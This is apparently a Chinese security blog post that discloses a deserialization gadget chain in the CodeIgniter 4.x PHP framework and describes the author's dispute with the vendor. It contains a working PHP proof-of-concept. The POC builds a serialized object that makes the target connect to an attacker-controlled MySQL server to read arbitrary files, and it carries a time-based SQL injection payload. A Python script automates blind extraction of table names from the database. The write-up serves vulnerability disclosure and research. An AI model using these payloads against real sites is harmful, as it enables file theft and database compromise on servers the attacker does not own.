<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    痛心的CodeIgniter4.x反序列化POP鏈挖掘報告

    VSole2021-11-04 07:24:17

    0x00 前言

    CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。

    文末有筆者與該廠商的一些“小故事”。

    0x01 POP鏈分析

    當然,反序列化漏洞需要反序列化操作的支撐,因此,筆者定義了一個觸發該反序列化漏洞的控制器,定義于:/app/Controllers/Home.php

    主要內容于:

    class Home extends BaseController
    {
        public function index()
        {
            unserialize($_GET['a']);
        }
    }
    

    __destruct魔術方法為反序列化漏洞最有效的方法,我們可以全局搜索一下__destruct魔術方法的定義。

    可以看到在/system/Cache/Handlers/RedisHandler.php中的__destruct魔術方法中,$this->redis成員屬性沒有任何實例判斷,直接調用close方法,那么$this->redis非常靈活,它可以是任意類的實例化對象,那么我們可以調用任意對象的close()方法。

    全局搜索close()方法:

    通過全局搜索可以看到,在/system/Session/Handlers/MemcachedHandler.php文件中,存在一個close()方法,在264行的isset($this->memcached)為成員屬性,是可控的,隨后在266行判斷$this->lockKey是否存在,如果存在,則調用$this->memcached->delete($this->lockKey)方法,再次全局搜索delete方法。

    通過全局搜索可以看到,在system/Model.php中定義了delete方法,雖然接收兩個參數,有幸的是CI框架將第二個參數給予了默認參數:$purge = false。

    在之前的$this->memcached->delete($this->lockKey)雖然只傳遞進來一個參數,但是這種寫法將無視PHP版本號,將此代碼繼續運行下去。

    921行調用了$this->builder()方法,我們看一下builder方法的定義。

    在1198的賦值操作中可以看到 $table 是可控的,在1206行中進行賦值$this->db->table($table) 的返回內容,我們注意到在1201行進行檢測了$this->db->table的所屬類,如果我們想要代碼繼續往下執行,我們這里只能將$this->db賦值為BaseConnection的實例化對象

    因為在1206行有調用BaseConnection的table成員方法,我們在 /system/Database/BaseConnection.php中查找一下table。

    可以看到971行的str_replace操作,當前的類名為BaseConnection,替換后為BaseBuilder類,隨后進行 new BaseBuilder操作,以$tableName以及$this傳遞進去了,需要注意的是,$tableName是可控的。

    找到 /system/Database/BaseBuilder.php 文件,并且搜索__construct魔術方法。如圖:

    274行將可控的$tableName傳遞進from方法了,我們看一下from方法的定義。

    CI框架將$from強制轉換為array類型,并且如果找不到“逗號”就會將$from傳遞到$this->trackAliases方法中。

    我們看一下trackAliases方法的定義。

    可以看到trackAliases只會處理“$from為數組、$from存在逗號、$from存在空格”的情況,那么該函數我們可以先將其忽略,繼續往下審計。

    可以看到,調用$this->db->protectIdentifiers方法。$this->db為BaseConnection類的實例,我們查找BaseConnection下的protectIdentifiers方法。如圖:

    其中代碼邏輯貼在圖中,我們繼續往下審計即可。

    我們回到調用處,查看一下往下的邏輯。

    注意924行調用了BaseBuilder下的whereIn方法,我們看一下這個方法做了一些什么操作。

    可以看到$key再次傳入了_whereIn方法,我們看一下_whereIn方法都做了一些什么操作。

    隨后直接放入$whereIn這么大的一個數組中,充當Where判斷的Key值。

    那么無疑這里是存在一個SQL注入漏洞的。我們不著急,回到Model.php繼續往下通讀。

    我們把重點放在952行調用的BaseBuilder下的delete方法,如圖:

    2834行調用了resetWrite方法,跟蹤一下看看。

    調用了$this->resetRun,繼續跟蹤。

    我們可以看到,只是用來設置鍵值的。那么我們看一下2837行的$this->db->query($sql, $this->binds, false)方法。

    找到BaseConnection下的query方法,如圖:

    繼續跟進initialize方法,如圖:

    可以看到,調用了$this->connect($this->pConnect)方法,我們查找一下connect方法,如圖:

    我們可以看到,前面存在abstract關鍵字,那么我們全局搜索一下,extends BaseConnection。

    如圖:

    我們打開system/Database/MySQLi/Connection.php文件,查找connect方法,如圖:

    這里需要注意的是118行$this->strictOn以及140行$this->encrypt不要去定義。

    下面就是我們期待已久的Mysql鏈接操作了。這里可以利用“MySQL服務端惡意讀取客戶端文件漏洞”來進行任意文件讀取。

    這一系列操作完成之后我們回到$this->initialize()魔術方法調用處。繼續往下審計。

    實例化CodeIgniter\Database\Query類并調用它下面的getQuery()方法。

    在system/Database/query.php找到該類,如圖:

    可以看到是來解析占位符的。

    調用了compileBinds方法,跟進查看。

    跟進404行的matchNamedBinds方法確認。

    可以從圖中看到筆者的猜想是沒錯的。

    那么我們回到BaseConnection的query方法,繼續觀察。

    可以看到調用了一個simpleQuery方法,我們跟進。

    又傳入了execute方法,再次跟進,如圖:

    可以看到又是抽象方法,那么我們看看是誰繼承了BaseConnection,查找:

    跟進并查找execute方法的定義。

    此時我們可以看到$this->connID->query($this->prepQuery($sql)),其實$this->connID已經是PHP的Mysqli原生類了,這里我們需要跟進prepQuery方法,看他到底做了一些什么操作。

    這里$this->deleteHack是可控的,我們無視即可,那么prepQuery方法等同于什么也沒干,直接帶進了Mysqli::query() 方法,根據我們之前審計出的Model類的primaryKey成員屬性可以進行SQL注入(WHERE 條件處)。

    到這里筆者就沒有再次往下審計了,我們的目的只是 任意文件讀取+發送SQL語句。

    反序列化的結果CI框架是百分百會拋出異常的,如圖:

    再往下讀下去也沒有什么可以利用的價值了。

    0x02 通過CI定義的函數觸發反序列化

    在我們之前分析POP鏈時,我們使用了unserialize函數來進行演示,那么在CI框架中是否存在unserialize使用不當的問題呢?答案是肯定的。

    我們看一下CI框架定義的old方法,如圖:

    我們可以看到,782-786行使用“strpos($value, 'a:') === 0 || strpos($value, 's:') === 0”來讓old函數反序列化出必須為“數組/字符串”,但是這種手法是消極的,如果我們反序列化的內容為“a:1:{i:0;O:...}”這種情況還是可以進入到__destruct跳板,然后被利用。

    那么我們看一下old函數第768行與770行的邏輯。

    $request = Services::request();
    $value = $request->getOldInput($key);

    我們看一下Services類下的request靜態方法。

    我們可以看到,該方法返回了IncomingRequest類的實例,那么$value = $request->getOldInput($key);也就是調用IncomingRequest實例下的getOldInput方法了,我們看一下該方法做了一些什么操作。

    可以看到,如果$_SESSION['_ci_old_input']的值不為空,那么該方法就可以返回$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]。

    那么問題來了,我們如何將$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]可控呢?

    我們全局搜索:'_ci_old_input',如圖:

    我們可以看到在/system/HTTP/RedirectResponse.php文件中有提到_ci_old_input,那么我們看一下第125行的$session = $this->ensureSession();,跟進ensureSession方法。如圖:

    跟進:

    這個方法只是用來對session進行一系列操作的,我們不需要管他,我們回過頭來繼續往下看。

    下面的132行調用了setFlashdata方法,根據筆者猜想是用來設置$_SESSION[_ci_old_input]的值,我們跟進setFlashdata看一下邏輯。

    在/system/Session/Session.php中的666行可以看到調用了set方法,我們跟進set方法。

    看來筆者的猜想是沒錯的。

    那么我們將/app/Controllers/Home.php控制器定義為:



    class Home extends BaseController
    {
    public function index()
    {
    redirect()->withInput();//設置$_SESSION['_ci_old_input']['get'][a]的值
    old('a');//得到$_SESSION['_ci_old_input']['get'][a]的值,并進行反序列化操作
    }
    }

    的效果與



    class Home extends BaseController
    {
    public function index()
    {
    unserialize($_GET[a]);
    }
    }

    的效果是一模一樣的。只是我們編寫POC時,redirect()->withInput() && old('a'); 這種方式,我們需要注意反序列化的結果一定是一個數組,為了POC的通用性,筆者將該POC生成的返回結果為數組。

    0x03 POC編寫&&環境依賴

    CI框架建立于PHP>=7.2版本,在這些版本中,PHP對屬性修飾符不太敏感,所以我們的POC類中的所有成員屬性的對象修飾符都定義為了public。

    但是“MySQL服務端惡意讀取客戶端文件漏洞”在PHP7.3版本的Mysqli鏈接操作中被刻意注意到了這一點。所以該漏洞只能在PHP7.2.x版本中進行利用

    POC如下:

    namespace CodeIgniter\Database\MySQLi;
    class Connection{
    public $hostname = '';  # The attacker's MySQL IP address
    public $port = '';    # The attacker's MySQL Port
    public $database = '';  # The attacker's MySQL Databases
    public $username = 'root';   # The attacker's MySQL UserName
    public $password = 'root';   # The attacker's MySQL Password
    public $charset = 'utf8';   # utf8
    public $escapeChar = '';
    public $pretend = false;
    }
    namespace CodeIgniter;
    class Model{
    public $db;
    public $table = "mysql.user";
    public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
    public function __construct($db){
    $this->db = $db;
    }
    }

    namespace CodeIgniter\Session\Handlers;
    class MemcachedHandler{
    public $lockKey = '123';
    public $memcached = 'a';
    public function __construct($memcached){
    $this->memcached = $memcached;
    }
    }
    namespace CodeIgniter\Cache\Handlers;
    class RedisHandler{
    public $redis;
    public function __construct($redis){
    $this -> redis = $redis;
    }
    }
    $a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
    echo urlencode(serialize($a));

    0x04 漏洞演示

    一、任意文件讀取

    需要用到的rogue_mysql_server.py腳本GitHub:https://github.com/Gifts/Rogue-MySql-Server

    1. 配置POC文件

    配置惡意Mysql主機IP(攻擊者外網IP):

    1. 配置py腳本

    1. 配置完畢后攻擊機上運行py腳本

    1. 生成Payload

    1. 攻擊受害機的反序列化點

    1. 讀取到C:/Windows/win.ini的內容

    二、SQL注入

    我們可以通過任意文件讀取漏洞讀取出數據庫賬號密碼,然后再進行SQL注入。

    生成Payload后發送:

    成功睡眠一秒,但是這樣的注入對于我們來說是很麻煩的,這里我們放在實戰中需要借助于Python腳本來進行批量注入。

    具體Python腳本實現思路為:

    因為我們要與Python進行交互,那么我們修改PHP-POC的內容為:

    namespace CodeIgniter\Database\MySQLi;
    class Connection{
    public $hostname = '127.0.0.1';  # The attacker's MySQL IP address
    public $port = '3306';    # The attacker's MySQL Port
    public $database = 'laravel';  # The attacker's MySQL Databases
    public $username = 'root';   # The attacker's MySQL UserName
    public $password = 'root';   # The attacker's MySQL Password
    public $charset = 'utf8';   # utf8
    public $escapeChar = '';
    public $pretend = false;
    }
    namespace CodeIgniter;
    class Model{
    public $db;
    public $table = "mysql.user";
    public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
    public function __construct($db){
    $this->db = $db;
    $payload = $_GET['payload'];
    if(isset($payload)){
    $this->primaryKey = $payload;
    }
    }
    }

    namespace CodeIgniter\Session\Handlers;
    class MemcachedHandler{
    public $lockKey = '123';
    public $memcached = 'a';
    public function __construct($memcached){
    $this->memcached = $memcached;
    }
    }
    namespace CodeIgniter\Cache\Handlers;
    class RedisHandler{
    public $redis;
    public function __construct($redis){
    $this -> redis = $redis;
    }
    }
    $a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
    echo serialize($a);

    編寫PythonPoc為:

    import requests
    PHP_POC = 'http://www.ci.com/hack.php?payload='     # 這里填入 PHP 的 POC
    CI_HTTP = 'http://ci.com/public/index.php?a='       # 填入CI站的反序列化點
    data = ''
    k = 1
    while True:
    bins = ''
    for i in range(1, 8):
    payload = "1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) -- "%(k,i)
    SeriaText = requests.get(PHP_POC + payload).text
    try:
    requests.get(CI_HTTP + SeriaText, timeout=1, proxies={'http':'127.0.0.1:8080'})
    bins += '0'
    except Exception as res:
    bins += '1'
    if bins == '0000000':
    break
    else:
    data += chr(int(bins, 2))
    k += 1
    print(data)

    逐漸爆出表名:

    0x05 與TP3.2.3對比思考

    ThinkPHP3.2.3也存在類似的問題,參考:http://cn-sec.com/archives/236781.html

    它們兩者漏洞的區別在于:

    CI框架使用了mysql_init() 來進行數據庫鏈接,而TP則使用了PDO。這里涉及到了堆疊與非堆疊問題。

    CI框架的SQL注入處于WHERE條件,ThinkPHP3.2.3的SQL注入處于表名。

    CI框架沒有DEBUG模式,很難進行報錯注入,而ThinkPHP存在DEBUG模式,可以進行報錯注入。

    CI框架寫代碼有定義方法默認值的習慣,這樣在我們的反序列化中每個跳板顯得非常的圓潤,而TP3.2.3沒有定義默認值的習慣,這里需要降低PHP版本,來實現反序列化。

    CI框架只允許運行在PHP7.2及往上版本,而MySQL惡意服務器文件讀取漏洞只能運行在PHP<7.3版本,所以本次漏洞挖掘只可以運行在剛剛好的PHP7.2.x。而ThinkPHP3.2.3可以運行在PHP5與PHP7版本,ThinkPHP3.2.3的反序列化鏈路只能運行在PHP5.x上,放在PHP7.x會報錯。

    文章中將反序列化跳板直接寫上了,實際挖洞過程不忍直視...

    0x06 “涼心”框架CI

    筆者在4月9號挖掘到了該反序列化漏洞,但Mysql惡意服務器只適用于PHP7.2.*版本,在4月9號筆者通過hackerone向廠商提交了該漏洞,搞不好還可以申請一個CVE編號呢。如圖(翻譯來的):

    通過廠商的駁回,筆者當然向CNVD上交該漏洞了。

    但CNVD那里今天筆者突然得到了驗證失敗的“駁回”。

    如圖:

    隨后筆者去錄制驗證視頻時,發現漏洞被“修補”?

    我們通過CI框架的官網看到,是適用于PHP7.2.*版本的,如圖:

    可是為什么提交給該廠商之前PHP7.2.*可以運行,而廠商駁回后,PHP7.2.*則無法運行了?相信大家心中也已經有了答案。

    通過github的最后修改日期我們可以看到該廠商私自修復漏洞的日期。

    這是一次痛心的挖洞提交過程,請問安全行業從業者,白帽子們的心血都去哪里了?





    漏洞挖掘php序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Ceye DNS:DNS oob平臺 http://ceye.io/. TLS證書信息查詢Censys:https://censys.io. 網絡空間搜索Fofa:https://fofa.info/
    Ceye DNS:DNS oob平臺 http://ceye.io/. TLS證書信息查詢Censys:https://censys.io. 網絡空間搜索Fofa:https://fofa.info/
    從偶遇Flarum開始的RCE之旅
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    一次cms的漏洞挖掘體驗
    今天分享的主題是開源軟件漏洞挖掘實踐,主要講對于企業項目、開源項目審計的認識以及做代碼審計的經驗。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类